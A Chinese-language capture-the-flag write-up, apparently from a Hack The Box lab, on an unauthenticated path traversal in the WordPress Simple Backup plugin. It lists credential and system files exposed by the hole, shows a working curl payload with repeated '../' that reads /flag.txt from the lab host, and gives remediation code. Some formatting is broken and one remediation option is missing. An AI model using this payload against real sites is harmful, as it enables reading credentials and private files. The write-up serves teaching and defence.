`page=backup_manager` 将请求路由到插件的管理页面处理器；`download_backup_file` 是该插件代码直接读取的参数，并在未经验证的情况下拼接到文件系统路径中，从而导致目录遍历。

---

### CVSS v3.1 评分

**7.5 - 高危** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

- **攻击向量 (AV):** 网络
- **攻击复杂度 (AC):** 低
- **所需权限 (PR):** 无
- **用户交互 (UI):** 无
- **范围 (S):** 不变
- **机密性 (C):** 高
- **完整性 (I):** 无
- **可用性 (A):** 无

---

### 业务影响

**机密性破坏：** ⚠️ 严重

攻击者可以读取 Web 服务器可访问的任何文件，包括：

| 文件 | 影响 | 风险等级 |
|------|--------|------------|
| `/wp-config.php` | 数据库凭据、盐和密钥 | 🔴 严重 |
| `/.env` | API 密钥、机密数据、配置 | 🔴 严重 |
| `/etc/passwd` | 用户枚举、系统映射 | 🟠 高危 |
| SSH 密钥 (`.ssh/id_rsa`) | 横向移动、系统访问 | 🔴 严重 |
| `/proc/self/environ` | 运行中应用的机密数据 | 🟠 高危 |
| 用户上传目录 | 私有文件、媒体 | 🟠 高危 |

**监管影响：**
- **GDPR 违规:** 未经授权访问用户数据
- **HIPAA 违规:** 受保护健康信息泄露
- **PCI-DSS 违规:** 访问信用卡数据或支付信息
- **SOC 2 违规:** 违反保密要求

---

### 漏洞代码模式

Exploit-DB 漏洞公告（39883.txt，通过 `searchsploit -x` 查看——参见 [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png)）记录了 `simple-backup-manager.php` 中该插件的 **delete** 原语：```php
if(array_key_exists('delete_backup_file', $_GET)){
    $this->delete_local_backup_file($_GET['delete_backup_file']);
}

`$filename` 直接取自 `$_GET['delete_backup_file']`，没有使用 `basename()` 或路径包含检查。传入 `../pizza.txt` 会将 `$bk_dir . $filename` 解析为 `.../simple-backup/../pizza.txt` → `.../pizza.txt`，从而逃逸出预期的备份文件夹。

本次实战中实际被利用的**下载**原语（`download_backup_file`）在同一插件中遵循完全相同的不安全拼接模式，但它是将文件返回给请求者而不是删除它——这正是能够从文件系统根目录读取 `/flag.txt` 的原因（从 `ABSPATH/simple-backup/` 出发使用 10 次 `../`）。

**问题所在：**
- 未使用 `basename()` 去除目录组件
- 没有允许文件的 whitelist
- 未验证 `realpath()` 是否仍位于 `ABSPATH."simple-backup/"`
- 直接将用户输入拼接到文件路径中
- 在提供文件之前没有 `current_user_can()` / 身份验证检查——该处理程序在插件加载时运行，早于 WordPress 自身的 `wp-admin` 认证门禁，因此**无需登录**即可访问

---

### 概念验证

#### **阶段 1：初始访问——应用程序识别**

通过浏览器直接连接目标（`http://154.57.164.73:30706/`）。该 WordPress 安装的标题为 **"GETTING STARTED"**，首页上的一篇公开博客文章以纯文本形式披露了确切的插件名称和版本：**"Simple Backup Plugin 2.7.10 for WordPress"**——识别易受攻击组件甚至不需要任何枚举工具。

![Initial Access - Plugin version disclosed on WordPress homepage](https://assets.kitploit.com/production/public/readmes/51282/807a6be937aeb55de6f3c60b479762729a056e9134edd0f8bf3a0779b36b854f/46c8a8c16d715251f282bacf2522c3e620864b14008847867c32672ba0d051fd-display-v1.webp)

#### **阶段 2：服务指纹识别**```bash
whatweb http://154.57.164.73:30706/

**结果:**```
Exploit Title                                              |  Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

该安全通告记录了通过 `delete_backup_file` 参数实现的未认证 **任意文件删除**，并指出 `simple-backup/` 目录下的备份文件（以及，经由同一条未净化的代码路径，`download_backup_file` 可获取的任意文件）可在无需认证的情况下被获取。

![漏洞研究 - 通过 searchsploit -x 读取 Exploit-DB PoC 39883.txt](https://assets.kitploit.com/production/public/readmes/51282/8d2f7a41935c4f9ebf4df1243ee68ba0628592b26411770696534eaa903851c4/7e636497c5d9d7382c9b0d7d5917938a399cf76f014b6e5fb754400078325e54-display-v1.webp)

#### **阶段 4：漏洞利用 — 通过 `download_backup_file` 实现路径遍历**

从插件的管理页面路由中识别出易受攻击的端点：```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=

**GUI (used in this assessment):** 载荷 URL 被直接在浏览器地址栏中访问。无需登录 — 浏览器自动下载了解析后的 `flag.txt` 文件。

![利用 - 浏览器地址栏中的路径遍历载荷，flag.txt 已下载](https://assets.kitploit.com/production/public/readmes/51282/c02c8273770253f4f0c3b79c0e4de1ab7b8190bfdbbec554a90a25e22553a635/6d1a521bdea2df6ba65e17df783d9f81ea3da096daba3f9bde02bece60a8e406-display-v1.webp)

**Headless equivalent:**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt

---

### 影响验证

✅ **机密性受损：** Web 服务器进程可读取的任何文件均可访问
✅ **无需身份验证：** 未认证用户即可利用
✅ **无需用户交互：** 直接通过 HTTP 请求利用
✅ **可重复且可靠：** 适用于所有受影响版本
✅ **关键业务数据面临风险：** 配置文件、凭据、用户数据被暴露

---

## 修复方案

### **选项 1：输入白名单（推荐）**

仅允许从预定义的文件列表中下载：```php
<?php
// Define allowed backup files
$allowed_files = array(
    'backup_2024_01_15.zip',
    'backup_2024_01_16.zip',
    'backup_2024_01_17.zip',
);

$requested_file = $_GET['download_backup_file'];

// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
    die("File not found or access denied");
}

// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

**优点：**
- 处理符号链接和复杂路径
- 自动验证包含关系
- 比白名单更灵活

---

### **选项 3：仅使用 basename() 获取文件名**

仅提取文件名部分：```php
<?php
$user_input = $_GET['download_backup_file'];

// Remove all directory components
$file = basename($user_input);

// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists
if (!file_exists($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

**文件系统权限：**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/

# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php

# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads

**更新管理：**

1. 禁用或删除 Simple Backup 插件
2. 安装已批准且通过安全审计的备份解决方案
3. 将 WordPress 更新到最新版本
4. 将所有插件更新到最新版本
5. 将 PHP 更新到 8.0+ 并应用安全补丁

---

## 攻击链```
┌─────────────────────────────────────────────────────────────┐
│  1. INITIAL ACCESS                                          │
│  └─ Browse to 154.57.164.73:30706                           │
│  └─ WordPress "GETTING STARTED" site identified              │
│  └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  2. ENUMERATION                                             │
│  └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  3. VULNERABILITY RESEARCH                                  │
│  └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns)    │
│  └─ searchsploit -x → read PoC, identify unsanitized         │
│     delete_backup_file / download_backup_file parameters     │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  4. EXPLOITATION                                             │
│  └─ Endpoint: /wp-admin/tools.php?page=backup_manager        │
│  └─ Payload: download_backup_file=../..(x10)../flag.txt      │
│  └─ Browser navigates to payload URL (no login required)     │
│  └─ Plugin resolves path to /flag.txt and serves it          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  5. SUCCESS                                                 │
│  └─ Flag Retrieved: HTB{my_f1r57_h4ck}                       │
│  └─ Confidentiality Breached                                 │
│  └─ Unauthenticated arbitrary file read confirmed             │
└─────────────────────────────────────────────────────────────┘